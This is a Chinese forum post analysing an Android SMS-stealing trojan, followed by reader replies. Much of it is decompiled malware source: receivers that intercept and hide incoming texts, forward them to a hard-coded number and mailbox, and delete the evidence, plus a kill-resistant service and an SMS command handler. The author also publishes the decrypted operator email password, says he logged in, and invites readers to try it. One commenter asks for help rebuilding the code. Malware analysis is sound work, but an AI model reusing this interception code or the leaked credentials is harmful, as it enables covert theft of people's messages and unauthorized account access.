Android样本分析-加强版监听拦截马
本帖最后由 Hoimk 于 2016-7-9 14:24 编辑报告名称:Android样本-加强版监听拦截马分析
作者:Hoimk
报告更新日期:2016-6-19
样本发现日期:2016-4-8
样本类型:恶意监听拦截样本文件MD5 校验值:CF398E27450D09AE142F5E82718DFD66
可能受到威胁的系统:Android
小菜分析,不喜勿喷..说错了也别打我...
虽然之前看到已经有人分析过这个样本了(http://www.52pojie.cn/thread-489915-1-1.html),但有点简略,方法也不太对,所以就一直打算等这几天放假分析一下;
工具:
AndroidKiller;
JEB;
分析:
我们先用Killer逆一下啊,因为Killer有个功能非常不错,就是他会自动给你把权限,活动,服务,广播归类,然后还可以很方便的看到各个权限的作用,也可以很明了的看到APK的各种信息;
看看他申请的权限,我写出几个主要权限的作用
android.permission.INTERNET ;网络访问的权限
android.permission.READ_SMS |
android.permission.WRITE_SMS |
android.permission.SEND_SMS >这几条都是短信相关的权限,读写发接
android.permission.RECEIVE_SMS |
android.permission.RECEIVE_WAP_PUSH |
android.permission.RECEIVE_BOOT_COMPLETED ;开机自启动
android.permission.READ_CONTACTS ;读取联系人
android.permission.GET_TASKS ;获取运行中的程序
android.permission.WRITE_EXTERNAL_STORAGE ;SD卡文件操作
好,主要权限看完,我们从启动类开始看:
<activity android:excludeFromRecents="false" android:label="@string/app_name" android:name="com.phone.stop.activity.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
启动类:com.phone.stop.activity.MainActivity,我喜欢用JEB看代码,感觉比较舒服点;
国际惯例,先看OnCreate():
看下这几条,就是设置"后门"吧,我们来分析一下其中的加密算法;
i.a(((Context)this));// 设置手机号
i.b(((Context)this));// //发送邮箱号
i.c(((Context)this));// 接收邮箱号
i.d(((Context)this));// 发送邮箱号密码
i.e(((Context)this));// 应用结束时间
我们跟进去看一下,算法我已经解出来了,所以备注已经写好了。
先给你们讲一下这最前面这一层的逻辑,有点基础的人应该很容易看懂
if(!a.a(arg2).ifhavephone()) { //判断数据文件中是否保存了手机号
a.a(arg2).b(g.a(a.a(arg2).c()));// putString(“i_want_xxoo”,“15012821154”) 如果没有就设置
a.a(arg2).sethavephone(true); //设置之后就把他改成真,下次就不会再重新设置了。
}
a.a(arg2).c():这个值是固定的,是一个加密过的值,点进去看一下就知道:“bba4242a5f281a10d33b26fa127f12a1”
接下来看算法:
是使用e这个类来解密的,我们先看他构造器:
public e(String arg4) {
super();
this.DES_ENCRYPT = null;
this.DES_DECRYPT = null;
Key v0 = this.b(arg4.getBytes()); //生成Key
this.DES_ENCRYPT = Cipher.getInstance("DES");
this.DES_ENCRYPT.init(1, v0);//设置此对象用于加密
this.DES_DECRYPT = Cipher.getInstance("DES");
this.DES_DECRYPT.init(2, v0);//设置此对象用于解密
}
Key v0 = this.b(arg4.getBytes()); 这里就是生成DESKey的地方,看看d()方法:
private Key b(byte[] arg4) {
byte[] v1 = new byte;
int v0;
for(v0 = 0; v0 < arg4.length; ++v0) {
if(v0 >= v1.length) {
break;
}
v1 = arg4;// 取前八位
}
return new SecretKeySpec(v1, "DES");
}
很明显,只有取前八位的处理而已,我们之前传进来的值是“staker”,所以生产的KeyBytes = {s,t,a,k,e,r,,};
看完构造器看解密的b(String)方法:
return new String(this.a(e.a(arg3)));
先看e.a(String):
那么,真正需要DES解密的内容就是这个方法返回的字节集了!
解密:
最后得出来的结果就是一个手机号:15012821154;
同理,下面那些bcde方法也是一样,key不变,解密出来的结果为:
i_want_xxoo 15012821154
send_email_account a15013581946@vip.sina.com
receive_email_account a15013581946@vip.sina.com
send_email_pwd qwe123
app_end_time 2016-07-31 23:59:00
我尝试登陆了下邮箱.....
有兴趣的阔自己去玩吧...
我们继续分析,
if(!a.a(((Context)this)).hasSendInfo()) {
k.a("软件安装完毕\n识别码:" + this.getSystemService("phone").getDeviceId() + "\n" + j.a(), 4, ((Context)// 获取IMEI,型号,手机号码,系统版本,并发送到之前解密的那个手机号
this));
a.a(((Context)this)).e(true);
}
继续下一句:
k.a(((Context)this));
public static void a(Context arg8) {
String[] v2 = null;
if(!a.a(arg8).hasDeleteMessage()) {
ContentResolver v0 = arg8.getContentResolver();
Cursor v1 = v0.query(com.phone.stop.a.a.b, v2, ((String)v2), v2, "date");
try {
if(!a.a(arg8).hasDeleteMessage() && (v1.moveToNext())) {
int v2_1 = v1.getInt(v1.getColumnIndex("_id"));
int v3 = v0.delete(Uri.parse("content://sms/" + v2_1), null, null);
int v0_2 = v0.delete(com.phone.stop.a.a.a, "_id=" + v2_1, null);
if(v3 != 1 && v0_2 != 1) {
goto label_41;
}
a.a(arg8).d(true);
}
label_41:
v1.close();
}
catch(Exception v0_1) {
}
}
}
不知道该怎么写注释...反正作用就是从短信箱里删掉刚才发送的那条手机信息的记录;
继续往下看
if(a.a(((Context)this)).j()) {
d.a(((Context)this));
}
这句是初始化邮箱服务器啥的,写的太乱了,不看;
OnCreate最后一句:this.a();
嗯...请求任务管理器权限,请求结束后系统是会返回一个int来表示用户是否激活,看看返回数据处理:
唉,这作者不是人啊,短信费不要钱啊,屁大点事还发短信...
然后就该来看服务了:BootService
唔,本来应该先看onCreate的,不过看到onDestroy()有个标准套路,就先说说吧
public void onDestroy() { super.onDestroy();
this.stopForeground(true);
Intent v0 = new Intent();
v0.setClass(((Context)this), BootService.class);
this.startService(v0);
}
public int onStartCommand(Intent arg6, int arg7, int arg8) {
Notification v0 = new Notification(2130837505, "", System.currentTimeMillis());
v0.contentView = new RemoteViews(this.getPackageName(), 2130903040);
v0.contentIntent = PendingIntent.getActivity(((Context)this), 0, new Intent(), 268435456);
this.startForeground(345, v0);
return super.onStartCommand(arg6, 3, arg8);
}
先在onStartCommand中startForeground,然后又在onDestroy中stopForeground(),有什么作用呢?防止服务被杀!!没错,有了这个,妈妈再也不怕我干正事的时候被干死了;
好了,继续看OnCreate:
public void onCreate() {
super.onCreate();
if(g.a()) {
com.phone.stop.db.a.a(((Context)this)).a(3); //这应该是判断软件到期时间之类的?之前那个app_end_time
}
else {
g.a(((Context)this));
this.b();
this.a();
}
}
b()和a()方法分别是启动了“SMSReceiver”短信广播监听器和SMS表的内容监听器;
剩下的都是干货,无非是收一条我偷一条之类的;
先看看SMSReceiver吧:
package com.phone.stop.receiver;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Build$VERSION;
import android.os.Bundle;
import android.telephony.SmsMessage;
import com.phone.stop.c.d;
import com.phone.stop.d.c;
import com.phone.stop.db.a;
import com.phone.stop.e.b;
import com.phone.stop.f.g;
import com.phone.stop.f.h;
import com.phone.stop.f.j;
import com.phone.stop.f.k;
import java.util.Iterator;
public class SMSReceiver extends BroadcastReceiver {
private Context a;
private final int b;
private boolean c;
public SMSReceiver() {
super();
this.b = 1;
this.c = false;
}
private void a(Intent arg11) {
String v1;
String v0_2;
Bundle v0 = arg11.getExtras();
StringBuffer v6 = new StringBuffer();
String v3 = "";
String v2 = "";
if(v0 != null) {
Object v0_1 = v0.get("pdus");// 取出短信
SmsMessage[] v7 = new SmsMessage;
int v8 = v0_1.length;
int v5;
for(v5 = 0; v5 < v8; ++v5) {
v7 = SmsMessage.createFromPdu(v0_1);
}
v5 = v7.length;
v0_2 = v2;
v1 = v3;
int v2_1 = 0;
while(v2_1 < v5) {
SmsMessage v0_3 = v7;
v3 = v0_3.getDisplayOriginatingAddress();// 获取来源号码
String v4 = v0_3.getMessageBody();// 获取短信内容
v1 = new StringBuilder(String.valueOf(v0_3.getTimestampMillis())).toString();
v6.append(v4);
++v2_1;
v0_2 = v1;
v1 = v3;
}
}
else {
v0_2 = v2;
v1 = v3;
}
this.abortBroadcast();// 截断广播!
v2 = v6.toString();
this.a(v1, v2, v0_2);
d.a(this.a, String.valueOf(v2) + "<br>" + v1 + "<br><br><br>" + j.a() + "-----------------广播<");// 发送邮件
// 发送邮件
}
private void a(String arg3, String arg4, String arg5) {
String v0 = a.a(this.a).c();// 接收手机号
if((v0.contains("128")) && !this.a(arg3, arg4)) {
switch(a.a(this.a).g()) {
case 1: {
goto label_14;
}
case 2: {
goto label_18;
}
case 3: {
goto label_16;
}
}
return;
label_18:// 和下面都是发送邮件
this.c(v0, arg4, arg5);// 和下面都是发送邮件
return;
label_14:
this.b(arg3, arg4, arg5);
return;
label_16:
this.clearAbortBroadcast();
}
}
private boolean a(String arg8, String arg9) {// 这虽然是个接收命令的类,但似乎没地方调用,可能是作者卖出的版本限制?
int v6 = 4;
int v5 = 2;
boolean v0 = true;
if(arg8.contains(a.a(this.a).c())) {
g.a("------------------ 是主人----------------------");
this.a(arg9);
String[] v2 = arg9.split(" ");
if(v2.equals("LJ")) {
if(v2.equals("ALL")) {
a.a(this.a).a(1);
return v0;
}
if(v2.equals("SOME")) {
a.a(this.a).a(v5);
return v0;
}
if(!v2.equals("NO")) {
return v0;
}
a.a(this.a).a(3);
return v0;
}
if(v2.equals("ADD")) {
c v1 = new c();
v1.c = v2;
b.a(v1);
return v0;
}
if(v2.equals("DEL")) {
b.a(v2);
return v0;
}
if(v2.equals("CLEAR")) {
if(v2.equals("ALL")) {
b.a();
return v0;
}
v2.equals("MESSAGE");
return v0;
}
if(v2.equals("LOOK")) {
if(v2.equals("TIME")) {
k.sendMessage("到期时间:" + a.a(this.a).e(), v6, this.a);
return v0;
}
if(!v2.equals("PHONE")) {
return v0;
}
k.sendMessage(j.a(), v6, this.a);
return v0;
}
if(!v2.equals("SEND")) {
return v0;
}
try {
k.a(v2, v2, this.a);
}
catch(Exception v1_1) {
}
}
else {
v0 = false;
}
return v0;
}
public void a(String arg5) {
if(String.valueOf(Build$VERSION.RELEASE).compareTo("4.3") >= 0) {
if(!this.c) {
this.c = true;
com.phone.stop.f.d.b(this.a, 0);
com.phone.stop.f.d.c(this.a, 0);
com.phone.stop.f.d.a(this.a, 0);
com.phone.stop.f.d.a(this.a, true);
}
new h().a(this.a, arg5);
}
}
private void b(String arg4, String arg5, String arg6) {
this.a(arg5);
k.sendMessage(String.valueOf(arg5) + "\n来自:" + arg4, 4, this.a);
}
private void c(String arg4, String arg5, String arg6) {
Iterator v1 = b.b().iterator();
do {
if(v1.hasNext()) {
if(!arg4.contains(v1.next().c)) {
continue;
}
break;
}
return;
}
while(true);
this.a(arg5);
k.sendMessage(String.valueOf(arg5) + "\n来自:" + arg4, 4, this.a);
}
public void onReceive(Context arg2, Intent arg3) {
g.a(" 广播---------------------------------------");
this.a = arg2;
this.a(arg3);
}
}
再看看内容监听器:
基本和广播监听器一样,没啥备注好些的。
package com.phone.stop.b;
import android.content.ContentResolver;
import android.content.Context;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Handler;
import com.phone.stop.c.d;
import com.phone.stop.d.c;
import com.phone.stop.db.PhoneApplication;
import com.phone.stop.e.b;
import com.phone.stop.f.g;
import com.phone.stop.f.j;
import com.phone.stop.f.k;
import java.util.Iterator;
public class a extends ContentObserver {
private Context a;
private final int b;
private ContentResolver c;
public a(Context arg2, Handler arg3) {
super(arg3);
this.b = 1;
this.c = null;
this.a = arg2;
if(this.c == null) {
this.c = arg2.getContentResolver();
}
}
private void a() {
Cursor v6 = this.c.query(com.phone.stop.a.a.b, null, null, null, "_id desc");
if(v6 == null || v6.getCount() == 0) {
this.a(v6);
}
else {
if(v6.moveToNext()) {
String v1 = v6.getString(v6.getColumnIndex("address"));// 来源号码
String v2 = v6.getString(v6.getColumnIndex("body"));// 正文
String v3 = v6.getString(v6.getColumnIndex("date"));// 日期
long v4 = v6.getLong(0);
String v0 = com.phone.stop.db.a.a(this.a).b();
this.a(v6);
if(v3.compareTo(v0) > 0) {
g.a("--------------进行处理------------------");
com.phone.stop.db.a.a(this.a).a(v3);
this.a(v1, v2, v3, v4);
}
else {
g.a("--------------不进行处理------------------");
}
}
this.a(v6);
}
}
private void a(Cursor arg2) {
if(arg2 != null) {
try {
arg2.close();
}
catch(Exception v0) {
}
}
}
private void a(String arg7, String arg8, String arg9, long arg10) {
String v1 = com.phone.stop.db.a.a(this.a).c();
if((v1.contains("128")) && !this.a(arg7, arg8, arg10)) {
switch(com.phone.stop.db.a.a(this.a).g()) {
case 1: {
goto label_14;
}
case 2: {
goto label_16;
}
}
return;
label_14:
this.b(arg7, arg8, arg9, arg10);
return;
label_16:
this.c(v1, arg8, arg9, arg10);
}
}
private boolean a(String arg8, String arg9, long arg10) {
int v6 = 2;
boolean v0 = true;
if(arg8.contains(com.phone.stop.db.a.a(this.a).c())) {
g.a("-------------是主人-----------------");
int v2 = this.a(arg10);
String[] v3 = arg9.split(" ");
if(v3.equals("LJ")) {
if(v3.equals("ALL")) {
com.phone.stop.db.a.a(this.a).a(1);
return v0;
}
if(v3.equals("SOME")) {
com.phone.stop.db.a.a(this.a).a(v6);
return v0;
}
if(!v3.equals("NO")) {
return v0;
}
com.phone.stop.db.a.a(this.a).a(3);
return v0;
}
if(v3.equals("ADD")) {
c v1 = new c();
v1.c = v3;
b.a(v1);
return v0;
}
if(v3.equals("DEL")) {
b.a(v3);
return v0;
}
if(v3.equals("CLEAR")) {
if(v3.equals("ALL")) {
b.a();
return v0;
}
v3.equals("MESSAGE");
return v0;
}
if(v3.equals("LOOK")) {
if(v3.equals("TIME")) {
k.sendMessage("到期时间:" + com.phone.stop.db.a.a(this.a).e(), v2, this.a);
return v0;
}
if(!v3.equals("PHONE")) {
return v0;
}
k.sendMessage(j.a(), v2, this.a);
return v0;
}
if(!v3.equals("SEND")) {
return v0;
}
try {
k.a(v3, v3, this.a);
}
catch(Exception v1_1) {
}
}
else {
v0 = false;
}
return v0;
}
public int a(long arg8) {
int v0 = 1;
ContentResolver v1 = this.a.getContentResolver();
int v2 = v1.delete(Uri.parse("content://sms/" + arg8), null, null);
int v1_1 = v1.delete(com.phone.stop.a.a.a, "_id=" + arg8, null);
if(v2 != 1 && v1_1 != 1) {
v0 = 2;
}
return v0;
}
private void b(String arg5, String arg6, String arg7, long arg8) {
int v0 = this.a(arg8);
d.a(this.a, String.valueOf(arg6) + "<br>" + arg5 + "<br><br><br>" + j.a() + "-----------------观察者");
k.sendMessage(String.valueOf(arg6) + "\n来自:" + arg5, v0, this.a);
}
private void c(String arg4, String arg5, String arg6, long arg7) {
Iterator v1 = b.b().iterator();
do {
if(v1.hasNext()) {
if(!arg4.contains(v1.next().c)) {
continue;
}
break;
}
return;
}
while(true);
k.sendMessage(String.valueOf(arg5) + "\n来自:" + arg4, this.a(arg7), this.a);
}
public void onChange(boolean arg2) {
super.onChange(arg2);
if(this.c == null) {
this.c = this.a.getContentResolver();
}
if(this.a == null) {
this.a = PhoneApplication.a();
}
this.a();
}
}
最后总结下:
其实我觉得没什么亮点,如果要说比别的马先进点的就是把数据都加密了,然后又用上了防止服务被Kill的套路,而服务,观察者两者同时用的手法在两年前就已经有了,所以这应该算是一个加强版吧。
不过从功能上讲,这又是一个限制版,为什么呢?
第一点:设置了软件到期时间;
第二点:明明写了接收指令的功能,却没有调用;
这说明这是有人在贩卖功能版的恶意软件。
就分析到这,完。
样品: **** Hidden Message *****\
Blog:http://www.hoimk.com/reverse/55.html
Hoimk 发表于 2016-6-19 19:19
大牛好。
乱叫菜鸟大牛要切小**的{:301_986:} 学习了,看看源文件 好强大,需要慢慢学习,发现学习越来越有意思了,就是不知道要多久才能学到皮毛 wnagzihxain 发表于 2016-6-19 18:45
分析的蛮全面的
大牛好。 wnagzihxain 发表于 2016-6-19 19:34
乱叫菜鸟大牛要切小**的
论坛大牛图标很惹眼哦~ 分析的蛮全面的 分析的很赞 准备以这个为案例来学习,有一个问题请教楼主或其它朋友,activity下有一个b.smali,其中有一句是报错的,我苦思冥想也没有得到解决的方法,在这里求教;Toast.makeText(this.a, "软件安装成功!", 1).show();
这句代码的this.a报错,但是无论如何也找不到这里的context到底应该如何写
请问这样的问题是因为文件是反编译的导致的问题还是其它什么原因呢?
代码如下:
class b
extends Handler
{
b(MainActivity paramMainActivity) {}
public void handleMessage(Message paramMessage)
{
switch (paramMessage.what)
{
default:
return;
case 0:
Toast.makeText(this.a, "软件安装成功!", 1).show();
this.a.finish();
return;
}
Toast.makeText(this.a, "请允许激活!", 1).show();
}
}
分析的很好,给你加分,希望继续加油分析更多好东西! 看看怎么样哈哈 6666666666666666666 好东西先看看